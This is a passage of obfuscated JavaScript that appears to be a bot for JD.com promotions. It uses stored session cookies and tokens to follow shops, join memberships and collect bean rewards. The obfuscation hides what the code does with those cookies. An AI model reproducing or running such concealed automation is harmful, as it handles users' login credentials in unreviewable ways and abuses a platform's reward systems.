res,_0x2af1c7[_0xb4b4('109')])&&res[_0xb4b4('11e')]){console[_0xb4b4('7')](_0xb4b4('11f')+(res[_0xb4b4('11e')]||''));}else{console[_0xb4b4('7')](_0xe06690);}}else{if(_0x2af1c7[_0xb4b4('fd')](_0x2af1c7[_0xb4b4('120')],_0x2af1c7[_0xb4b4('121')])){msg+=_0xb4b4('122')+res[_0xb4b4('10b')][_0xb4b4('123')]+'京豆';}else{console[_0xb4b4('7')](_0xe06690);}}}}}catch(_0x4ebc3b){if(_0x2af1c7[_0xb4b4('124')](_0x2af1c7[_0xb4b4('125')],_0x2af1c7[_0xb4b4('126')])){$[_0xb4b4('44')](_0x4ebc3b,_0x928006);}else{_0x123569[_0xb4b4('107')](_0x4cd846);}}finally{_0x2af1c7[_0xb4b4('fb')](_0x4cd846);}}});}});}function getShareRecord(){var _0xbfef16={'IgQjN':function(_0xf1ea58,_0x3b7f9b){return _0xf1ea58==_0x3b7f9b;},'vFJxb':_0xb4b4('47'),'VYmAK':function(_0x57e5a8,_0x4feb6f){return _0x57e5a8===_0x4feb6f;},'iHnzk':function(_0x2adbef,_0x2a69f1){return _0x2adbef==_0x2a69f1;},'RPGWY':function(_0x49c185,_0x32c923){return _0x49c185!==_0x32c923;},'KcTQs':_0xb4b4('127'),'IFYfn':_0xb4b4('128'),'rBckv':function(_0x49b671,_0x333f3a){return _0x49b671===_0x333f3a;},'nYrim':_0xb4b4('129'),'FvdvP':_0xb4b4('12a'),'PtkAc':function(_0xe1f6ca){return _0xe1f6ca();},'FiiUH':function(_0x20be9a){return _0x20be9a();},'ICooo':function(_0x5b129b,_0x326933){return _0x5b129b==_0x326933;},'hhTzc':_0xb4b4('12b'),'goOrj':_0xb4b4('14'),'rHLAP':function(_0x33f64a,_0x58c2fe){return _0x33f64a===_0x58c2fe;},'OznId':_0xb4b4('12c'),'CwnBc':function(_0x10400b,_0x2e472d){return _0x10400b(_0x2e472d);},'sMmyv':function(_0x5e43c4,_0xf159bc,_0x38c832){return _0x5e43c4(_0xf159bc,_0x38c832);},'TuNIY':_0xb4b4('12d')};return new Promise(_0x5e6c71=>{var _0x213e9b={'Weans':function(_0x1a4251){return _0xbfef16[_0xb4b4('12e')](_0x1a4251);},'vptLz':function(_0x171894,_0x1dd4d0){return _0xbfef16[_0xb4b4('12f')](_0x171894,_0x1dd4d0);},'XnfGE':_0xbfef16[_0xb4b4('130')],'aXbMA':_0xbfef16[_0xb4b4('131')]};if(_0xbfef16[_0xb4b4('132')](_0xbfef16[_0xb4b4('133')],_0xbfef16[_0xb4b4('133')])){let _0x2b87bf=_0xb4b4('f4')+$[_0xb4b4('31')]+_0xb4b4('f5')+$[_0xb4b4('40')]+_0xb4b4('f6')+_0xbfef16[_0xb4b4('134')](encodeURIComponent,$[_0xb4b4('5f')])+_0xb4b4('f8');$[_0xb4b4('f9')](_0xbfef16[_0xb4b4('135')](taskPostUrl,_0xbfef16[_0xb4b4('136')],_0x2b87bf),async(_0x5f4268,_0x1b40c2,_0xfd9a3d)=>{try{if(_0x5f4268){console[_0xb4b4('7')](''+$[_0xb4b4('103')](_0x5f4268));console[_0xb4b4('7')]($[_0xb4b4('22')]+_0xb4b4('104'));}else{res=$[_0xb4b4('108')](_0xfd9a3d);if(_0xbfef16[_0xb4b4('137')](typeof res,_0xbfef16[_0xb4b4('138')])){if(_0xbfef16[_0xb4b4('139')](res[_0xb4b4('10a')],!![])&&res[_0xb4b4('10b')]){$[_0xb4b4('a9')]=res[_0xb4b4('10b')][_0xb4b4('36')];$[_0xb4b4('7')](_0xb4b4('13a')+res[_0xb4b4('10b')][_0xb4b4('36')]+'个');}else if(_0xbfef16[_0xb4b4('13b')](typeof res,_0xbfef16[_0xb4b4('138')])&&res[_0xb4b4('11e')]){if(_0xbfef16[_0xb4b4('13c')](_0xbfef16[_0xb4b4('13d')],_0xbfef16[_0xb4b4('13e')])){console[_0xb4b4('7')](''+(res[_0xb4b4('11e')]||''));}else{_0x213e9b[_0xb4b4('13f')](_0x5e6c71);}}else{console[_0xb4b4('7')](_0xfd9a3d);}}else{console[_0xb4b4('7')](_0xfd9a3d);}}}catch(_0x14ba3e){if(_0xbfef16[_0xb4b4('140')](_0xbfef16[_0xb4b4('141')],_0xbfef16[_0xb4b4('142')])){if(_0x213e9b[_0xb4b4('143')](typeof str,_0x213e9b[_0xb4b4('144')])){try{return JSON[_0xb4b4('145')](str);}catch(_0x4656b5){console[_0xb4b4('7')](_0x4656b5);$[_0xb4b4('21')]($[_0xb4b4('22')],'',_0x213e9b[_0xb4b4('146')]);return[];}}}else{$[_0xb4b4('44')](_0x14ba3e,_0x1b40c2);}}finally{_0xbfef16[_0xb4b4('147')](_0x5e6c71);}});}else{$[_0xb4b4('44')](e,resp);}});}function addSku(){var _0x493ba1={'cgDEV':function(_0x584dcf){return _0x584dcf();},'CxgGy':function(_0x59908b,_0x2f425a){return _0x59908b>_0x2f425a;},'DKZLQ':_0xb4b4('48'),'WcfTC':function(_0x5ee061,_0xfa8a3d){return _0x5ee061+_0xfa8a3d;},'BVgTr':_0xb4b4('49'),'lYOSB':function(_0x1ac27a,_0x4780ef){return _0x1ac27a===_0x4780ef;},'FFqPI':_0xb4b4('148'),'YcYQT':_0xb4b4('149'),'ExFDm':function(_0x13683b,_0x4621bd){return _0x13683b!==_0x4621bd;},'niVHe':_0xb4b4('14a'),'PWsCd':_0xb4b4('14b'),'CSORN':function(_0xecd8da,_0x450cba){return _0xecd8da==_0x450cba;},'QmSgJ':_0xb4b4('4d'),'Sewlv':_0xb4b4('47'),'PjSKR':function(_0x9b07e4,_0x537082){return _0x9b07e4===_0x537082;},'bkdmj':_0xb4b4('14c'),'GdWVu':_0xb4b4('14d'),'ZjdDj':_0xb4b4('14e'),'kMlaK':function(_0x166cc4,_0x2b4019){return _0x166cc4||_0x2b4019;},'PTNUa':_0xb4b4('14f'),'klbKY':function(_0x3137dc,_0x4a0463){return _0x3137dc===_0x4a0463;},'sjKcE':_0xb4b4('150'),'EAVGw':_0xb4b4('151'),'sBpaU':function(_0x216908,_0x31b437){return _0x216908!==_0x31b437;},'lfsic':_0xb4b4('152'),'pUoYJ':_0xb4b4('153'),'uUqCn':_0xb4b4('154'),'DsVSS':function(_0x434d88){return _0x434d88();},'nzmzo':function(_0x13130d,_0x474c04){return _0x13130d(_0x474c04);},'NLMjG':function(_0x4829ee,_0x3f8e25,_0x51d10b){return _0x4829ee(_0x3f8e25,_0x51d10b);},'HBdln':_0xb4b4('155')};return new Promise(_0x5d00e0=>{let _0x2211dc=_0xb4b4('f4')+$[_0xb4b4('31')]+_0xb4b4('f6')+_0x493ba1[_0xb4b4('156')](encodeURIComponent,$[_0xb4b4('5f')])+_0xb4b4('f5')+$[_0xb4b4('40')]+_0xb4b4('157');$[_0xb4b4('f9')](_0x493ba1[_0xb4b4('158')](taskPostUrl,_0x493ba1[_0xb4b4('159')],_0x2211dc),async(_0xf6f944,_0x3a14be,_0x374630)=>{var _0x37ccd7={'ptXbL':function(_0xb1aed3){return _0x493ba1[_0xb4b4('15a')](_0xb1aed3);},'XSZLc':function(_0x2ddff9,_0x54a7fa){return _0x493ba1[_0xb4b4('15b')](_0x2ddff9,_0x54a7fa);},'SNzQt':_0x493ba1[_0xb4b4('15c')],'UdxpZ':function(_0x3854a3,_0x22b0f9){return _0x493ba1[_0xb4b4('15d')](_0x3854a3,_0x22b0f9);},'PDZrF':function(_0x528e84,_0x50cc85){return _0x493ba1[_0xb4b4('15b')](_0x528e84,_0x50cc85);},'rSiHL':_0x493ba1[_0xb4b4('15e')],'HSwvr':function(_0x149bef,_0x302a0c){return _0x493ba1[_0xb4b4('15d')](_0x149bef,_0x302a0c);}};if(_0x493ba1[_0xb4b4('15f')](_0x493ba1[_0xb4b4('160')],_0x493ba1[_0xb4b4('160')])){try{if(_0x493ba1[_0xb4b4('15f')](_0x493ba1[_0xb4b4('161')],_0x493ba1[_0xb4b4('161')])){if(_0xf6f944){if(_0x493ba1[_0xb4b4('162')](_0x493ba1[_0xb4b4('163')],_0x493ba1[_0xb4b4('164')])){if(_0x3a14be[_0xb4b4('100')]&&_0x493ba1[_0xb4b4('165')](_0x3a14be[_0xb4b4('100')],0x1ed)){console[_0xb4b4('7')](_0x493ba1[_0xb4b4('166')]);$[_0xb4b4('13')]=!![];}console[_0xb4b4('7')](''+$[_0xb4b4('103')](_0xf6f944));console[_0xb4b4('7')]($[_0xb4b4('22')]+_0xb4b4('104'));}else{console[_0xb4b4('7')](_0xb4b4('167')+(res[_0xb4b4('11e')]||''));}}else{res=$[_0xb4b4('108')](_0x374630);if(_0x493ba1[_0xb4b4('165')](typeof res,_0x493ba1[_0xb4b4('168')])){if(_0x493ba1[_0xb4b4('169')](_0x493ba1[_0xb4b4('16a')],_0x493ba1[_0xb4b4('16a')])){if(_0x493ba1[_0xb4b4('169')](res[_0xb4b4('10a')],!![])&&res[_0xb4b4('10b')]){if(_0x493ba1[_0xb4b4('162')](_0x493ba1[_0xb4b4('16b')],_0x493ba1[_0xb4b4('16b')])){$[_0xb4b4('44')](e,_0x3a14be);}else{let _0x5fc7ad='';if(res[_0xb4b4('10b')][_0xb4b4('16c')]){if(_0x493ba1[_0xb4b4('169')](_0x493ba1[_0xb4b4('16d')],_0x493ba1[_0xb4b4('16d')])){_0x5fc7ad=res[_0xb4b4('10b')][_0xb4b4('16c')]+'京豆';}else{console[_0xb4b4('7')](_0x374630);}}console[_0xb4b4('7')](_0xb4b4('16e')+_0x493ba1[_0xb4b4('16f')](_0x5fc7ad,_0x493ba1[_0xb4b4('170')]));}}else if(_0x493ba1[_0xb4b4('165')](typeof res,_0x493ba1[_0xb4b4('168')])&&res[_0xb4b4('11e')]){console[_0xb4b4('7')](_0xb4b4('171')+(res[_0xb4b4('11e')]||''));}else{if(_0x493ba1[_0xb4b4('172')](_0x493ba1[_0xb4b4('173')],_0x493ba1[_0xb4b4('174')])){console[_0xb4b4('7')](_0xb4b4('171')+(res[_0xb4b4('11e')]||''));}else{console[_0xb4b4('7')](_0x374630);}}}else{if(_0xf6f944){console[_0xb4b4('7')](''+JSON[_0xb4b4('175')](_0xf6f944));console[_0xb4b4('7')]($[_0xb4b4('22')]+_0xb4b4('104'));}else{if(_0x374630){_0x374630=JSON[_0xb4b4('145')](_0x374630);}}}}else{if(_0x493ba1[_0xb4b4('176')](_0x493ba1[_0xb4b4('177')],_0x493ba1[_0xb4b4('177')])){_0x37ccd7[_0xb4b4('178')](_0x5d00e0);}else{console[_0xb4b4('7')](_0x374630);}}}}else{$[_0xb4b4('44')](e,_0x3a14be);}}catch(_0x4d175a){$[_0xb4b4('44')](_0x4d175a,_0x3a14be);}finally{if(_0x493ba1[_0xb4b4('176')](_0x493ba1[_0xb4b4('179')],_0x493ba1[_0xb4b4('17a')])){_0x493ba1[_0xb4b4('17b')](_0x5d00e0);}else{setcookie=setcookies[_0xb4b4('6b')](',');}}}else{let _0x4d9b5b=ck[_0xb4b4('6b')](';')[0x0][_0xb4b4('6c')]();if(_0x4d9b5b[_0xb4b4('6b')]('=')[0x1]){if(_0x37ccd7[_0xb4b4('17c')](_0x4d9b5b[_0xb4b4('6e')](_0x37ccd7[_0xb4b4('17d')]),-0x1))LZ_TOKEN_KEY=_0x37ccd7[_0xb4b4('17e')](_0x4d9b5b[_0xb4b4('71')](/ /g,''),';');if(_0x37ccd7[_0xb4b4('17f')](_0x4d9b5b[_0xb4b4('6e')](_0x37ccd7[_0xb4b4('180')]),-0x1))LZ_TOKEN_VALUE=_0x37ccd7[_0xb4b4('181')](_0x4d9b5b[_0xb4b4('71')](/ /g,''),';');}}});});}function followShop(){var _0x28a3df={'VBtPa':function(_0x4c6f07,_0x5993b3){return _0x4c6f07==_0x5993b3;},'FOQnr':_0xb4b4('4d'),'TsRHK':function(_0x54cbc2,_0xb94da5){return _0x54cbc2===_0xb94da5;},'VqVcB':_0xb4b4('182'),'iWLrI':_0xb4b4('183'),'QhnjJ':_0xb4b4('184'),'esyJU':_0xb4b4('185'),'PgUXG':function(_0x3b3d44,_0x515458){return _0x3b3d44==_0x515458;},'nSpDr':function(_0x263f65,_0xd18af3){return _0x263f65!==_0xd18af3;},'eYGwy':_0xb4b4('186'),'yBRFC':function(_0x537b09,_0x99c44f){return _0x537b09==_0x99c44f;},'IFNdS':_0xb4b4('47'),'EnRPH':_0xb4b4('187'),'ZVCxl':function(_0x189d9e,_0x4636fd){return _0x189d9e===_0x4636fd;},'QcAnW':_0xb4b4('188'),'jWJzt':_0xb4b4('189'),'LNbkp':function(_0x50091f,_0x435748){return _0x50091f||_0x435748;},'FTVPE':_0xb4b4('14f'),'nkLYQ':_0xb4b4('18a'),'HVzVv':_0xb4b4('18b'),'OPuUk':function(_0x3254c8,_0x4f8b62){return _0x3254c8===_0x4f8b62;},'fznrY':_0xb4b4('18c'),'Sqlhd':function(_0x39999a){return _0x39999a();},'VtWEm':function(_0x351571,_0x1a415c){return _0x351571!=_0x1a415c;},'LAamA':_0xb4b4('4f'),'ARpTd':_0xb4b4('1a'),'eyZAh':_0xb4b4('18d'),'RDrWC':function(_0x2ad7b1,_0x186c55){return _0x2ad7b1===_0x186c55;},'MMViS':_0xb4b4('18e'),'TbXis':function(_0x45d626,_0x5e9005){return _0x45d626(_0x5e9005);},'sSFlC':function(_0x680113,_0x16b8f4,_0x12a7a0){return _0x680113(_0x16b8f4,_0x12a7a0);},'eOAKd':_0xb4b4('18f')};return new Promise(_0x4afc9d=>{var _0x1ffc48={'MNuih':function(_0x5e28b3,_0x9876c5){return _0x28a3df[_0xb4b4('190')](_0x5e28b3,_0x9876c5);},'YjlLp':_0x28a3df[_0xb4b4('191')],'YsZwK':_0x28a3df[_0xb4b4('192')],'FWKim':_0x28a3df[_0xb4b4('193')]};if(_0x28a3df[_0xb4b4('194')](_0x28a3df[_0xb4b4('195')],_0x28a3df[_0xb4b4('195')])){let _0x42cc82=_0xb4b4('f4')+$[_0xb4b4('31')]+_0xb4b4('f6')+_0x28a3df[_0xb4b4('196')](encodeURIComponent,$[_0xb4b4('5f')])+_0xb4b4('f5')+$[_0xb4b4('40')]+_0xb4b4('34')+$[_0xb4b4('2f')]+_0xb4b4('197');$[_0xb4b4('f9')](_0x28a3df[_0xb4b4('198')](taskPostUrl,_0x28a3df[_0xb4b4('199')],_0x42cc82),async(_0x2d04c9,_0xf7ac80,_0x43f6f1)=>{var _0x167d7a={'NiLhJ':function(_0x10419b,_0x41dfef){return _0x28a3df[_0xb4b4('19a')](_0x10419b,_0x41dfef);},'ffImE':_0x28a3df[_0xb4b4('19b')]};try{if(_0x28a3df[_0xb4b4('19c')](_0x28a3df[_0xb4b4('19d')],_0x28a3df[_0xb4b4('19e')])){if(_0xf7ac80[_0xb4b4('100')]&&_0x167d7a[_0xb4b4('19f')](_0xf7ac80[_0xb4b4('100')],0x1ed)){console[_0xb4b4('7')](_0x167d7a[_0xb4b4('1a0')]);$[_0xb4b4('13')]=!![];}console[_0xb4b4('7')](''+$[_0xb4b4('103')](_0x2d04c9));console[_0xb4b4('7')]($[_0xb4b4('22')]+_0xb4b4('1a1'));}else{if(_0x2d04c9){if(_0x28a3df[_0xb4b4('19c')](_0x28a3df[_0xb4b4('1a2')],_0x28a3df[_0xb4b4('1a3')])){console[_0xb4b4('7')](e);}else{if(_0xf7ac80[_0xb4b4('100')]&&_0x28a3df[_0xb4b4('1a4')](_0xf7ac80[_0xb4b4('100')],0x1ed)){if(_0x28a3df[_0xb4b4('1a5')](_0x28a3df[_0xb4b4('1a6')],_0x28a3df[_0xb4b4('1a6')])){if(res[_0xb4b4('10b')]&&_0x1ffc48[_0xb4b4('1a7')](typeof res[_0xb4b4('10b')][_0xb4b4('1a8')],_0x1ffc48[_0xb4b4('1a9')]))$[_0xb4b4('5f')]=res[_0xb4b4('10b')][_0xb4b4('1a8')];if(res[_0xb4b4('10b')]&&_0x1ffc48[_0xb4b4('1a7')](typeof res[_0xb4b4('10b')][_0xb4b4('74')],_0x1ffc48[_0xb4b4('1a9')]))$[_0xb4b4('74')]=res[_0xb4b4('10b')][_0xb4b4('74')];}else{console[_0xb4b4('7')](_0x28a3df[_0xb4b4('19b')]);$[_0xb4b4('13')]=!![];}}console[_0xb4b4('7')](''+$[_0xb4b4('103')](_0x2d04c9));console[_0xb4b4('7')]($[_0xb4b4('22')]+_0xb4b4('104'));}}else{res=$[_0xb4b4('108')](_0x43f6f1);if(_0x28a3df[_0xb4b4('1aa')](typeof res,_0x28a3df[_0xb4b4('1ab')])){if(_0x28a3df[_0xb4b4('1a5')](_0x28a3df[_0xb4b4('1ac')],_0x28a3df[_0xb4b4('1ac')])){console[_0xb4b4('7')](_0x43f6f1);}else{if(_0x28a3df[_0xb4b4('1ad')](res[_0xb4b4('10a')],!![])&&res[_0xb4b4('10b')]){if(_0x28a3df[_0xb4b4('1a5')](_0x28a3df[_0xb4b4('1ae')],_0x28a3df[_0xb4b4('1af')])){let _0x274c8e='';if(res[_0xb4b4('10b')][_0xb4b4('16c')]){_0x274c8e=res[_0xb4b4('10b')][_0xb4b4('16c')]+'京豆';}if(res[_0xb4b4('10b')][_0xb4b4('123')]&&res[_0xb4b4('10b')][_0xb4b4('1b0')]){_0x274c8e+=_0xb4b4('122')+res[_0xb4b4('10b')][_0xb4b4('123')]+'京豆';}console[_0xb4b4('7')](_0xb4b4('1b1')+_0x28a3df[_0xb4b4('1b2')](_0x274c8e,_0x28a3df[_0xb4b4('1b3')]));}else{console[_0xb4b4('7')](_0x1ffc48[_0xb4b4('1b4')]);}}else if(_0x28a3df[_0xb4b4('1aa')](typeof res,_0x28a3df[_0xb4b4('1ab')])&&res[_0xb4b4('11e')]){console[_0xb4b4('7')](_0xb4b4('1b5')+(res[_0xb4b4('11e')]||''));}else{console[_0xb4b4('7')](_0x43f6f1);}}}else{console[_0xb4b4('7')](_0x43f6f1);}}}}catch(_0x2091ab){if(_0x28a3df[_0xb4b4('1a5')](_0x28a3df[_0xb4b4('1b6')],_0x28a3df[_0xb4b4('1b7')])){$[_0xb4b4('44')](_0x2091ab,_0xf7ac80);}else{console[_0xb4b4('7')](_0x43f6f1);}}finally{if(_0x28a3df[_0xb4b4('1b8')](_0x28a3df[_0xb4b4('1b9')],_0x28a3df[_0xb4b4('1b9')])){_0x28a3df[_0xb4b4('1ba')](_0x4afc9d);}else{console[_0xb4b4('7')](_0x167d7a[_0xb4b4('1a0')]);$[_0xb4b4('13')]=!![];}}});}else{console[_0xb4b4('7')](_0xb4b4('1bb'));console[_0xb4b4('7')](_0xb4b4('1bc')+(readShareCodeRes[_0xb4b4('10b')]&&readShareCodeRes[_0xb4b4('10b')][0x0]||_0x1ffc48[_0xb4b4('1bd')]));$[_0xb4b4('2f')]=readShareCodeRes[_0xb4b4('10b')]&&readShareCodeRes[_0xb4b4('10b')][0x0]||$[_0xb4b4('2f')];}});}function getshopactivityId(_0x3ce5dc){var _0x3a6282={'LYoNn':function(_0x4374ab,_0x59a2cd){return _0x4374ab>_0x59a2cd;},'nEkAY':_0xb4b4('1be'),'EzrMH':function(_0x32be90,_0x2f8b34){return _0x32be90+_0x2f8b34;},'PsMOd':_0xb4b4('48'),'EiJIi':function(_0x24e085,_0x72566a){return _0x24e085+_0x72566a;},'oSBKt':_0xb4b4('49'),'zqNLH':function(_0x332831,_0x148469){return _0x332831===_0x148469;},'wSjNy':_0xb4b4('1bf'),'MdWeC':_0xb4b4('1c0'),'UETwl':function(_0x1480ed,_0x2d4231){return _0x1480ed==_0x2d4231;},'TnOvx':function(_0x3cdf19,_0x821ebf){return _0x3cdf19!==_0x821ebf;},'pvMLb':_0xb4b4('1c1'),'iKoHw':_0xb4b4('1c2'),'ISnOb':function(_0x48b09e){return _0x48b09e();},'HUUzG':function(_0x3906b2,_0xddac0b){return _0x3906b2(_0xddac0b);}};return new Promise(_0x157a3c=>{var _0x4c79bc={'wKBkO':function(_0x8389b8,_0x2e7648){return _0x3a6282[_0xb4b4('1c3')](_0x8389b8,_0x2e7648);},'zmINO':_0x3a6282[_0xb4b4('1c4')],'iXTqU':function(_0x2c61e7,_0x4fcbfa){return _0x3a6282[_0xb4b4('1c5')](_0x2c61e7,_0x4fcbfa);},'cIMXo':_0x3a6282[_0xb4b4('1c6')],'EBYnu':function(_0x11fc38,_0x508aaa){return _0x3a6282[_0xb4b4('1c7')](_0x11fc38,_0x508aaa);},'KQTYp':function(_0x3f19c0,_0x2b5180){return _0x3a6282[_0xb4b4('1c3')](_0x3f19c0,_0x2b5180);},'SCCDh':_0x3a6282[_0xb4b4('1c8')],'YNkJm':function(_0x1b53c8,_0x2a86e9){return _0x3a6282[_0xb4b4('1c7')](_0x1b53c8,_0x2a86e9);},'yJfSe':function(_0x3c3da5,_0x3ef4be){return _0x3a6282[_0xb4b4('1c9')](_0x3c3da5,_0x3ef4be);},'NuewN':_0x3a6282[_0xb4b4('1ca')],'NLzuT':_0x3a6282[_0xb4b4('1cb')],'NjyqV':function(_0x30a664,_0x26c076){return _0x3a6282[_0xb4b4('1cc')](_0x30a664,_0x26c076);},'lTcyo':function(_0x49bf4a,_0x1c8226){return _0x3a6282[_0xb4b4('1cd')](_0x49bf4a,_0x1c8226);},'XmpLm':_0x3a6282[_0xb4b4('1ce')],'eXeEg':function(_0x12dcb1,_0x619280){return _0x3a6282[_0xb4b4('1cd')](_0x12dcb1,_0x619280);},'cYWhB':_0x3a6282[_0xb4b4('1cf')],'aYRvB':function(_0x112704){return _0x3a6282[_0xb4b4('1d0')](_0x112704);}};$[_0xb4b4('1d1')](_0x3a6282[_0xb4b4('1d2')](shopactivityId,''+_0x3ce5dc),async(_0x469d8b,_0x5d1baa,_0x43e075)=>{if(_0x4c79bc[_0xb4b4('1d3')](_0x4c79bc[_0xb4b4('1d4')],_0x4c79bc[_0xb4b4('1d5')])){let _0x3978d1=ck[_0xb4b4('6b')](';')[0x0][_0xb4b4('6c')]();if(_0x3978d1[_0xb4b4('6b')]('=')[0x1]){if(_0x4c79bc[_0xb4b4('1d6')](_0x3978d1[_0xb4b4('6e')](_0x4c79bc[_0xb4b4('1d7')]),-0x1))lz_jdpin_token=_0x4c79bc[_0xb4b4('1d8')](_0x3978d1[_0xb4b4('71')](/ /g,''),';');if(_0x4c79bc[_0xb4b4('1d6')](_0x3978d1[_0xb4b4('6e')](_0x4c79bc[_0xb4b4('1d9')]),-0x1))LZ_TOKEN_KEY=_0x4c79bc[_0xb4b4('1da')](_0x3978d1[_0xb4b4('71')](/ /g,''),';');if(_0x4c79bc[_0xb4b4('1db')](_0x3978d1[_0xb4b4('6e')](_0x4c79bc[_0xb4b4('1dc')]),-0x1))LZ_TOKEN_VALUE=_0x4c79bc[_0xb4b4('1dd')](_0x3978d1[_0xb4b4('71')](/ /g,''),';');}}else{try{_0x43e075=JSON[_0xb4b4('145')](_0x43e075);if(_0x4c79bc[_0xb4b4('1de')](_0x43e075[_0xb4b4('1df')],!![])){$[_0xb4b4('1e0')]=_0x43e075[_0xb4b4('10a')][_0xb4b4('1e1')]&&_0x43e075[_0xb4b4('10a')][_0xb4b4('1e1')][0x0]&&_0x43e075[_0xb4b4('10a')][_0xb4b4('1e1')][0x0][_0xb4b4('1e2')]&&_0x43e075[_0xb4b4('10a')][_0xb4b4('1e1')][0x0][_0xb4b4('1e2')][_0xb4b4('31')]||'';}}catch(_0x4eab33){if(_0x4c79bc[_0xb4b4('1e3')](_0x4c79bc[_0xb4b4('1e4')],_0x4c79bc[_0xb4b4('1e4')])){console[_0xb4b4('7')](''+$[_0xb4b4('103')](_0x469d8b));console[_0xb4b4('7')]($[_0xb4b4('22')]+_0xb4b4('104'));}else{$[_0xb4b4('44')](_0x4eab33,_0x5d1baa);}}finally{if(_0x4c79bc[_0xb4b4('1e5')](_0x4c79bc[_0xb4b4('1e6')],_0x4c79bc[_0xb4b4('1e6')])){cookiesArr[_0xb4b4('3')](jdCookieNode[item]);}else{_0x4c79bc[_0xb4b4('1e7')](_0x157a3c);}}}});});}function shopactivityId(_0x13e32d){var _0x1aa775={'cWKhq':_0xb4b4('1e8'),'ShtCl':_0xb4b4('1e9'),'qwAXo':_0xb4b4('1ea'),'pHfAq':_0xb4b4('1eb'),'QrxUJ':_0xb4b4('1ec')};return{'url':_0xb4b4('1ed')+_0x13e32d+_0xb4b4('1ee'),'headers':{'Content-Type':_0x1aa775[_0xb4b4('1ef')],'Origin':_0x1aa775[_0xb4b4('1f0')],'Host':_0x1aa775[_0xb4b4('1f1')],'accept':_0x1aa775[_0xb4b4('1f2')],'User-Agent':$['UA'],'content-type':_0x1aa775[_0xb4b4('1f3')],'Referer':_0xb4b4('1f4')+_0x13e32d+_0xb4b4('1f5')+_0x13e32d+_0xb4b4('1f6')+$[_0xb4b4('31')]+_0xb4b4('34')+$[_0xb4b4('2f')],'Cookie':cookie},'timeout':0x7530};}function join(_0x5ee602){var _0x121e66={'qUHRE':_0xb4b4('14'),'gdcnB':function(_0x188d51,_0xb1dc64){return _0x188d51==_0xb1dc64;},'kHFjY':_0xb4b4('47'),'JPAvd':function(_0x3c6c59,_0x54b98b){return _0x3c6c59===_0x54b98b;},'uuLkw':function(_0x2f2564,_0x3c8bc8){return _0x2f2564!==_0x3c8bc8;},'OZCbF':_0xb4b4('1f7'),'bDkKO':_0xb4b4('1f8'),'GzNpd':_0xb4b4('1f9'),'jWmyB':function(_0x207560,_0x1bcfd9){return _0x207560==_0x1bcfd9;},'abFAF':_0xb4b4('1fa'),'CNlYG':_0xb4b4('1fb'),'KgtiI':_0xb4b4('1fc'),'uuqLF':_0xb4b4('1fd'),'QIkkQ':function(_0x33749b){return _0x33749b();},'GCgrc':function(_0x1a343f,_0x2a45a7){return _0x1a343f||_0x2a45a7;},'ZtRFQ':_0xb4b4('1fe'),'uiOEP':function(_0x3ea3f8,_0x2f31ce){return _0x3ea3f8<_0x2f31ce;},'YMRwB':function(_0x1bc6c9,_0x10a7f4){return _0x1bc6c9*_0x10a7f4;},'ucwlu':function(_0x33f4d7,_0x411790){return _0x33f4d7(_0x411790);},'DoYci':function(_0x4cfc2e,_0x1d2729){return _0x4cfc2e(_0x1d2729);}};return new Promise(async _0x336154=>{var _0x870ca2={'gzJDd':function(_0x348c21,_0xbb8e69){return _0x121e66[_0xb4b4('1ff')](_0x348c21,_0xbb8e69);},'YQEzJ':_0x121e66[_0xb4b4('200')],'OrcSW':function(_0x5eea16,_0x236d5f){return _0x121e66[_0xb4b4('201')](_0x5eea16,_0x236d5f);},'hzVZf':function(_0x3ec760,_0x4ef17c){return _0x121e66[_0xb4b4('202')](_0x3ec760,_0x4ef17c);},'oRToT':function(_0x48b3af,_0x18e45b){return _0x121e66[_0xb4b4('203')](_0x48b3af,_0x18e45b);},'ozzsj':function(_0x4824b1,_0x577f91){return _0x121e66[_0xb4b4('204')](_0x4824b1,_0x577f91);},'IOvqz':_0x121e66[_0xb4b4('205')]};$[_0xb4b4('1e0')]='';await $[_0xb4b4('80')](0x3e8);await _0x121e66[_0xb4b4('206')](getshopactivityId,_0x5ee602);$[_0xb4b4('1d1')](_0x121e66[_0xb4b4('207')](ruhui,''+_0x5ee602),async(_0x589b40,_0x499adf,_0x3983ac)=>{var _0x59a88f={'DffFJ':_0x121e66[_0xb4b4('208')]};try{let _0x26f326=$[_0xb4b4('108')](_0x3983ac);if(_0x121e66[_0xb4b4('209')](typeof _0x26f326,_0x121e66[_0xb4b4('205')])){if(_0x121e66[_0xb4b4('203')](_0x26f326[_0xb4b4('1df')],!![])){console[_0xb4b4('7')](_0x26f326[_0xb4b4('20a')]);if(_0x26f326[_0xb4b4('10a')]&&_0x26f326[_0xb4b4('10a')][_0xb4b4('20b')]){if(_0x121e66[_0xb4b4('20c')](_0x121e66[_0xb4b4('20d')],_0x121e66[_0xb4b4('20e')])){for(let _0x229b78 of _0x26f326[_0xb4b4('10a')][_0xb4b4('20b')][_0xb4b4('20f')]){if(_0x121e66[_0xb4b4('20c')](_0x121e66[_0xb4b4('210')],_0x121e66[_0xb4b4('210')])){e=_0x870ca2[_0xb4b4('211')](e,0x20);let _0x55d192=_0x870ca2[_0xb4b4('212')],_0x559982=_0x55d192[_0xb4b4('36')],_0x2a1cd7='';for(_0x229b78=0x0;_0x870ca2[_0xb4b4('213')](_0x229b78,e);_0x229b78++)_0x2a1cd7+=_0x55d192[_0xb4b4('214')](Math[_0xb4b4('215')](_0x870ca2[_0xb4b4('216')](Math[_0xb4b4('8f')](),_0x559982)));return _0x2a1cd7;}else{console[_0xb4b4('7')](_0xb4b4('217')+_0x229b78[_0xb4b4('218')]+_0x229b78[_0xb4b4('219')]+_0x229b78[_0xb4b4('21a')]);}}}else{try{return JSON[_0xb4b4('145')](str);}catch(_0x2c58b6){console[_0xb4b4('7')](_0x2c58b6);$[_0xb4b4('21')]($[_0xb4b4('22')],'',_0x59a88f[_0xb4b4('21b')]);return[];}}}}else if(_0x121e66[_0xb4b4('204')](typeof _0x26f326,_0x121e66[_0xb4b4('205')])&&_0x26f326[_0xb4b4('20a')]){if(_0x121e66[_0xb4b4('20c')](_0x121e66[_0xb4b4('21c')],_0x121e66[_0xb4b4('21d')])){console[_0xb4b4('7')](''+(_0x26f326[_0xb4b4('20a')]||''));}else{if(_0x870ca2[_0xb4b4('21e')](_0x26f326[_0xb4b4('10a')],!![])&&_0x26f326[_0xb4b4('10b')]){$[_0xb4b4('a9')]=_0x26f326[_0xb4b4('10b')][_0xb4b4('36')];$[_0xb4b4('7')](_0xb4b4('13a')+_0x26f326[_0xb4b4('10b')][_0xb4b4('36')]+'个');}else if(_0x870ca2[_0xb4b4('21f')](typeof 